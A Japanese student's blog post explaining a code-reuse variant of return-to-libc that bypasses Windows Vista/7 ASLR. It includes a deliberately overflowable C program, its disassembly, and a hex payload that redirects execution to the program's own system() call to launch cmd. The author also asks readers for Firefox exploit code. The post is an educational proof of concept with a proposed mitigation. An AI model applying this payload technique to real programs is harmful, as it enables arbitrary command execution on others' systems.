ASLRがあっても出来るreturn-to-libc攻撃 | 月と燃素と、ひと匙の砂糖

久しぶりです。7月一杯はテスト続きで遊べそうにありません…。8月は多少遊べるかと思いますが、9月の初旬にはまたテストがあります。ち　な　み　に　文　系　は　あ　り　ま　せ　ん　。9月の初旬のテストの後はまた一ヶ月ほど休みがあるので、その時には色々出来るかもしれません。あっ、でも免許取らないと。

とはいえ、情報科学概論Ⅰという講義を聴いている最中にふと思いついたセキュリティネタがあったので投稿します。ちょっと調べた感じだとこの手法は見つからなかったんですが、どう考えてもたいした工夫ではないので既出かもしれません。既出だったらｽﾏｿ。

return-to-libc攻撃とASLR

まずreturn-to-libc攻撃について説明しましょう。知ってるという方は飛ばしてください。return-to-libcはバッファオーバーフロー攻撃の一種です。スタック上のバッファに、その大きさ以上のデータを書き込んでしまうことで発生します。

イメージとしてはこんな感じ

関数がリターンした後のスタックの構造が、ちょうどsytem関数を呼び出したときと同じように工夫するのがミソです。CPUはこの時、system(“cmd”)が実行された時と同じように振る舞い、結果任意のコマンドを実行させる事が可能になってしまいます。

Windows Vista以降では、ASLRといって、system()関数も含めた外部ライブラリに含まれる関数のアドレスを毎回ランダムにする事でこの攻撃を防いでいます。戻るべきsystem()関数のアドレスが毎回変わってしまうのですから、攻撃を成功させることも難しくなる、大変有効な対策です。†1

アドレスが毎回変わらない関数

しかし、毎回アドレスが絶対に変わらない関数があります。それはアプリケーション内の関数です。アプリケーション内の関数は、DLLでロードされるライブラリと違い、毎回ロード先のアドレスが変わらないようです。（確かＰＥヘッダで指定するんだったっけ？）

なら、ランダムで戻るのが難しいライブラリの関数に戻るのでなく、このアプリケーション内の関数に戻れば良いのでは…？いやいや、戻る先も関数そのものでなくともよく、書き込むスタックの内容さえ工夫すれば同じプログラムに含まれるありとあらゆるコードにジャンプして任意の処理を実行できるのでは…？

Windows Vista / Windows 7 Starter（32ビット）で確認できた実演デモ

本来はファイルの内容を表示するプログラムですが、この脆弱性によってシェルを実行するように改変されています。

■ダウンロード

Vista Businessと 7 Starter（どちらも32ビット）で動作を確認しています。

20100704_buffer_overflow.zip

2010/07/04現在で最新にアップデートしてあるWindows7/Windows Vista（どちらも32ビット）で動作を確認しています。アップーデートで使えなくなる可能性は十分ありますので、起動しなくてもめげないでね！

■スクリーンショット

こんな感じでシェルが実行されます。

■コードの解説

まずは意図的にバッファーオーバーフローさせてるプログラムのソースコードを。

#include 
#include 
#include 

void exec(){
	//何かの処理
	fprintf(stdout,"debug message\n");
	//外部アプリケーションの実行
	system("ipconfig");
}

int main(int argc, char* argv[]){
	//ファイルの中を表示するだけのクソプログラム
	FILE* file = fopen("data.dat","rb");

	//ファイルサイズを取得
	fseek( file, 0, SEEK_END );
  	int size = ftell( file );
	fprintf(stdout,"file size: %d\n", size);
	fseek( file, 0, SEEK_SET );

	//ファイルサイズ分だけコピー。ここでオーバーフロー。
  	char dst[40];
	fread(dst,size,1,file);
	//ここでfileにNULLを代入してもクラッシュはしない
	fclose(file);

	fprintf(stdout,"content: %s\n", dst);

	return 0;
}

上のほうのexec()がポイントです。想定としては、プログラム内から他のアプリケーションを呼ぶような動作を模擬したものと考えてください。今回は”debug message”を表示させることなくsystem関数を呼び出し、さらにそのコマンドも”ipconfig”でなく”cmd”を実行します。

■逆アセンブルコード

■exec関数

00401318  /. 55             PUSH EBP
00401319  |. 89E5           MOV EBP,ESP
0040131B  |. 83EC 18        SUB ESP,18
0040131E  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; ||
00401323  |. 83C0 20        ADD EAX,20                               ; ||
00401326  |. 894424 0C      MOV DWORD PTR SS:[ESP+C],EAX             ; ||
0040132A  |. C74424 08 0E00>MOV DWORD PTR SS:[ESP+8],0E              ; ||
00401332  |. C74424 04 0100>MOV DWORD PTR SS:[ESP+4],1               ; ||
0040133A  |. C70424 3020400>MOV DWORD PTR SS:[ESP],target.00402030   ; ||ASCII "debug message"
00401341  |. E8 26070000    CALL <JMP.&msvcrt.fwrite>                ; |\fwrite
00401346  |. C70424 3F20400>MOV DWORD PTR SS:[ESP],target.0040203F   ; |ASCII "ipconfig"

/** main関数をここへリターンさせる！ **/
0040134D  |. E8 22070000    CALL <JMP.&msvcrt.system>                ; \system
00401352  |. C9             LEAVE
00401353  \. C3             RETN

■main関数

00401354  /$ 55             PUSH EBP
00401355  |. 89E5           MOV EBP,ESP
00401357  |. 83E4 F0        AND ESP,FFFFFFF0
0040135A  |. 83EC 40        SUB ESP,40
0040135D  |. E8 CE040000    CALL target.00401830
00401362  |. C74424 04 4820>MOV DWORD PTR SS:[ESP+4],target.00402048 ; ||||||||ASCII "rb"
0040136A  |. C70424 4B20400>MOV DWORD PTR SS:[ESP],target.0040204B   ; ||||||||ASCII "data.dat"
00401371  |. E8 06070000    CALL <JMP.&msvcrt.fopen>                 ; |||||||\fopen
（中略）
00401401  |. E8 8E060000    CALL <JMP.&msvcrt.fread>                 ; ||\fread
00401406  |. 8B4424 38      MOV EAX,DWORD PTR SS:[ESP+38]            ; ||
0040140A  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||
0040140D  |. E8 8A060000    CALL <JMP.&msvcrt.fclose>                ; |\fclose
00401412  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; |
00401417  |. 8D50 20        LEA EDX,DWORD PTR DS:[EAX+20]            ; |
0040141A  |. 8D4424 10      LEA EAX,DWORD PTR SS:[ESP+10]            ; |
0040141E  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX             ; |
00401422  |. C74424 04 6320>MOV DWORD PTR SS:[ESP+4],target.00402063 ; |ASCII "content: %s"
0040142A  |. 891424         MOV DWORD PTR SS:[ESP],EDX               ; |
0040142D  |. E8 72060000    CALL <JMP.&msvcrt.fprintf>               ; \fprintf
00401432  |. B8 00000000    MOV EAX,0
00401437  |. C9             LEAVE
00401438  \. C3             RETN

■攻撃コード

7468 6973  this
2064 6174   dat
6120 6973  a is
2061 2073   a s
6865 6c6c  hell
636f 6465  code
2c20 6861  , ha
6861 2e00  ha..
0000 0000 ....
0000 0000  ....

最初の40バイトはバッファにあふれない分のデータです。

何かメッセージが出ないと寂しいので、文章を書き込んであります。

0000 0000  .... //上書きされる"file"の値(注意：fclose(NULL)はエラーにならない)
0000 0000  .... //上書きされる"size"の値
0000 0000  .... // 作業用領域（freadの後には使われない）
0000 0000  .... // 作業用領域（freadの後には使われない）
0000 0000  .... // "leave"命令で使われる、EBPに代入されるアドレス（適当でいい）
4d13 4000  M.@. // 命令"CALL <JMP.&msvcrt.system>"がおいてあるところへのポインタ

関数が戻るまでにクラッシュしないように工夫した†2ローカル変数領域です。

リターンアドレスが、exec()内でsystem関数を呼び出す直前になっています。

以下が、”CALL <JMP.&msvcrt.system>”に戻ったときに使うデータです。

38ff 2200  8.". //下の文字列"cmd"へのポインタ
0000 0000  ....
636d 6400  cmd.
0000 0000  ....

スタックに引数”cmd”が乗せられている状態になっていて、この状態で”CALL <JMP.&msvcrt.system>”を実行すればコマンドプロンプトが実行される、というわけです。

libcに限らず、実行できてはいけない処理が意図しないタイミングで実行される

この手法を使えば、プログラム中に含まれるありとあらゆる処理が意図しないタイミングで実行し放題になると思われます。出来そうな事はこんな感じ。

今回のように、アプリケーション内で呼ばれているAPI（たとえばsystem()）に戻って任意のコマンドを実行する
パスワードやらなにやらの認証機構で保護されている処理を無理やり呼び出す
WinGrooveのコピートラップ関数を呼び出す（笑）

Linuxではさらに制限が掛かる

linuxでは「PAX」によって以下のようにスタックのアドレスも毎回ランダムで変わるので、Windowsより制限が厳しくなります。スタック破壊を検出するStack-Smashing-Protectorとかでも制限が掛かるかも…。

上記のプログラムのローカル変数「size」のアドレスを表示するプログラムです：

$ ./stack
addr of "size": bfb5de08
$ ./stack
addr of "size": bfec2a58
$ ./stack
addr of "size": bfbc6288

このように、毎回かなりランダムになる事が分かります。文字列等のポインタを扱うにはスタック上のアドレスが必要なので使えず、イミディエイトな値のみしか扱えなくなります。

とはいえ、この辺は通常のreturn-to-libcと同じなのでいろいろと回避テクがあるかもしれません。

出来そうな対策は？

DLLだけでなく、アプリのロード先も毎回ランダムにする

これしかないと思います。今ちょっと確認したところ、殆どのソフトウェア内のcall/jmpはすべて相対ジャンプで行われているようですし、たぶん問題は起きないと思います。DLLでは既にそうなっていますから、特に問題は無いはず…。Linuxだと実はすでに行われてるのかな？

誰かFirefoxのバッファオーバーフローのexploitコードのありかを教えてくれー

実演動画作ってニコニコ動画に上げます！（流石に公開はしない）

†1: ちなみに、洞窟物語のパッチがうまくVista以降で動かないのもこれが原因です。
†2: いや、殆どしてないな…